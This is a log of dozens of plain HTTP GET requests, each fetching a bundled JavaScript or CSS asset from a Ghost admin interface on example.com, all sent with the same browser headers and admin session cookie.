{"method": "GET", "target": "/ghost/assets/use-pintura-config-DDGo3qjQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/calendar-BqF8KY_y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/checkbox-USP8gq7k.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/custom-fonts-CMD0ed16.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-BzashvGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/lib-CmL7hMOQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/analytics-Cj7bTZhC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/images-CoVkxhed.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dropzone-nt_3dI2o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/prop-types-B8rMafi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/page-header-BZAQCX93.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/heading-XKAYjT0Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/select-De66Q0Np.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/preview-chrome-z36eH2v9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/radio-group-COYgs1Oh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/switch-08pTpI2l.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tabs-x_EBkQ-i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/textarea-9kkkItPg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/toggle-group-CbBD6ECj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/images-CClFWRrp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/member-format-DrcVrnM2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/editor-return-DmblXePh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/purify.es-By5UdXoD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-unsaved-changes-guard-BIfTQjJz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-router-history-entry-DYG_hZv1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chip-picker-aAXRsU0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sortable.esm-H4JOBEIz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/virtual-list-1NcFkHUd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-B0j4y8A_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/screen-entrance-provider-CPNWSe2Y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/assertString-xweUBf3M.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tag-picker-CMxUiZw6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/email-previews-6rA3kQE8.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/emails-BZ3mvix4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/index.es-DkE4XGsf.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/brand-icon-BpkWg1bw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/content-text-BP5YhPKd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/autocomplete-links-CF9oXdcC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/koenig-lexical-5yl8QMt2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-B2CflbHM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-settings-navigation-B27QqD50.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/confirmation-context-CI7uiAXg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/zapier-modal-D4_YmIR5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/action-list-D-8kNw_l.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/link-0l1oEvYX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-modal-CdZFHHmU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/integrations-02NPOVjz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/api-keys-qurkm_HE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/copy-field-eUmv88Uy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/integration-header-DEFc4kRn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/api-keys-DD6tzM0P.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
